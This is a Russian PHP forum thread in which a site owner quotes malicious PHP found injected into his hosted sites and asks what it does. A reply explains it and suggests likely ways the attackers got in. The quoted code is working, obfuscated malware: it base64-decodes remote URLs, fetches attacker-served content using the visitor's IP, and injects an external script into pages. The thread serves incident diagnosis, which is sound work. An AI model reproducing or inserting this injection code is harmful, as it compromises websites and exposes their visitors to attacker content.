За последние 24 часа нас посетили 37316 программистов и 1721 робот. Сейчас ищут 611 программистов ...

Чужой код на хостинге

Тема в разделе "Прочие вопросы по PHP", создана пользователем TigerZaka, 10 май 2013.

  1. TigerZaka

    TigerZaka Активный пользователь

    С нами с:
    16 сен 2011
    Сообщения:
    189
    Симпатии:
    1
    Всем привет!
    есть хостинг на nic.ru, там четыре сайта. недавно обнаружил, что сайты не отображаются. залез в код и в каждом вот такая хрень:
    Код (Text):
    1. function sql2_safe($in) {
    2.         $rtn = base64_decode($in);
    3.         return $rtn;
    4. }
    5. function collectnewss() {
    6.  
    7.         if (!isset($_COOKIE["iJijkdaMnerys"])) {
    8.         $value = 'yadeor';
    9.         $ip = $_SERVER['REMOTE_ADDR'];
    10.         $get = sql2_safe("aHR0cDovL3h4eHBvcm5vLnh4dXouY29tOjg4OC9tb3ZlLnBocD9pcD0=").$ip;
    11.         $file = @fopen ($get, "r");
    12.         $content = @fread($file, 1000);
    13.         @setcookie("iJijkdaMnerys", $value, time()+3600*24);
    14.         if (!$content)
    15.             echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9uZXdkb21tZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4=");
    16.         else
    17.             echo $content;
    18.  
    19.         }
    20. }
    21. collectnewss ();
    Подскажите, что данный код делает? (контент парсит?)
    И еще, как злодеи доступ получили и как не повторить ситуацию?
     
  2. YSandro

    YSandro Старожил

    С нами с:
    7 апр 2011
    Сообщения:
    2.523
    Симпатии:
    2
    Тут попытка загрузить код с порноресурса. Если не получается, добавляет скриптом iframe, в который тоже пытается загрузить что-то уже с другого сервера. Не стал идти по адресам и смотреть, что именно загружается и что делает функция collectnewss(), ясно, что код вредоносный.
    Много способов. Нужно искать лазейку. Это может быть слабый пароль админки или ftp. Может быть форма обратной связи с уязвимостью, и движок сайта не очищает GET и POST запросы.